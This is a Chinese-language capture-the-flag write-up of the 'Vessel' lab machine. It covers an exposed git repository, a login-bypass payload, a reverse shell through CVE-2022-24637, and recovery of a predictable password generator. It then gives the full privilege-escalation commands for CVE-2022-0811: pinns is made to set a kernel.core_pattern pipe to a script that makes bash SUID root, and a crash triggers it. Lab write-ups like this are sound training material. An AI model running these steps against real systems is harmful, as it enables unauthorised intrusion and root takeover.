概述
由于在视频中非常耗时,因此文字将在文本中进行。
该机器的标记为刻板标记,大多数任务都是耗时的,但是有一些有趣的漏洞,例如CVE-2022-0811和CVE-2022-24637。
最重要的是,我们有NoSQL Injection和一些PE反向工程。
写上去
标志1
首先,我开始用ffuf
列举整个网站。
$ ffuf -w ~/Tools/SecLists/Discovery/Web-Content/common.txt -u "http://vessel.htb/FUZZ" -fs 26
我发现了一个名为dev
的文件夹,然后使我倾倒了网站的git存储库:
$ git-dumper http://vessel.htb/dev/.git ./website_dump
使用该网站可用,我可以检查实际的源代码是否漏洞,在打开routes/index.js
后,我已经注意到此代码可能很容易受到NOSQL注入的影响。
...
let username = req.body.username;
let password = req.body.password;
if (username && password) {
connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) { ...
代码未检查传递值是否是对象,我可以使用精确的NOSQL有效载荷来成功登录
在执行邮政请求时,使用管理用户使用此有效负载:
username=admin&password[password]=1
在管理面板中的另一个发现上,我发现主机上有另一个域名openwebanalytics
。从进一步调查可以探索的东西,我降落在CVE-2022-24637上。有了这种利用,我可以在计算机上运行成功的反向外壳。
使用linpeas我在用户steven
上找到了一些有用的信息
/home/steven/passwordGenerator # Windows PE Exectuable
/home/steven/.notes/screenshot.png # Screenshot of some program
/home/steven/.notes/notes.pdf # Password protected PDF
我怀疑screenshot.png
是passwordGenerator
的图像。另一方面,passwordGenerator
异常大,整个二进制的使用是创建“安全”密码。我注意到二进制中的Python图标,我怀疑这可能是PyInstaller
的python项目。我确认,当我将整个东西加载到Ghidra/Ida时。
我已经使用pyinstxtractor来提取*.pyc
文件,然后是uncomplyle6将*.pyc
文件编译。这使我了解了二进制的实际源代码:
这是生成密码的函数:
def genPassword(self):
length = value
char = index
if char == 0:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
else:
if char == 1:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
else:
if char == 2:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
else:
try:
qsrand(QTime.currentTime().msec())
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)
except:
msg = QMessageBox()
msg.setWindowTitle('Error')
msg.setText('Error while generating password!, Send a message to the Author!')
x = msg.exec_()
return password
我将length
编辑为32(因为我在屏幕截图上都有它),并对脚本进行了更多编辑以创建可能的密码列表。我可以这样做,因为QTime.currentTime().msec()
功能通过该范围从1-1000返回数字,我很有可能猜测生成的密码。
注意:此过程可能有点令人沮丧,因为要生成密码需要时间。我个人花了一个多小时。
然后,我使用pdfcrack
破解了PDF的密码,在那里我找到了用户ethan
的密码,然后成功登录了它,并找到了第一个标志。
标志2
我再次运行了linpeas.sh
,我找到了以下SUID
二进制:
...
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rwsr-x--- 1 root ethan 814936 Mar 15 2022 /usr/bin/pinns
...
我有点搜索,这是什么,然后我降落在利用该二进制的CVE-2022-0811上。在这样做的过程中,我注意到我也有runc
。
╔══════════╣ Container related tools present
/usr/sbin/runc
这是一个非常棘手的事情,它需要对正在发生的事情进行一些成功执行攻击。您可以查看我为CVE-2022-0811提供的链接以了解有关它的更多信息。在实际使用Kubernetes的实际POC上,我必须使用runc
。
传递给pinns
的参数未经消毒和验证,因此我可以使用它使用root Access执行代码。
我需要在不使用root
的情况下使用runc
创建一个容器,所以我已经使用了--rootless
arg。
参考:https://github.com/opencontainers/runc/#rootless-containers
$ mkdir /tmp/syl
$ cd /tmp/syl/
$ runc spec --rootless
$ mkdir rootfs
$ echo "chmod +s /usr/bin/bash" > syl.sh
然后,我应该将根部安装到容器的根上:
参考:https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation
$ runc --root /tmp/syl/ run alpine
# cat /etc/machine-id
c4ca4238a0b923820dcc509a6f75849b
这将运行容器并产生外壳。接下来,我将从另一个会话中进入计算机,以执行pinns
二进制文件到我们的容器。
$ /usr/bin/pinns -d /var/run -f c4ca4238a0b923820dcc509a6f75849b -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/syl/syl.sh #' --ipc --net --uts --cgroup
然后,我需要触发一个核心转储,以便pinns
在核心转储的情况下执行脚本。遵循Crowdstrike的POC:
# ulimit -c unlimited
# ulimit -c
unlimited
# tail -f /dev/null &
# ps
.. Find the `tail -f /dev/null` PID
# kill -SIGSEGV {thePID}
[1]+ Segmentation fault (core dumped) tail -f /dev/null
回到另一个会话
$ bash -p
$ cat /root/root.txt
{HASH}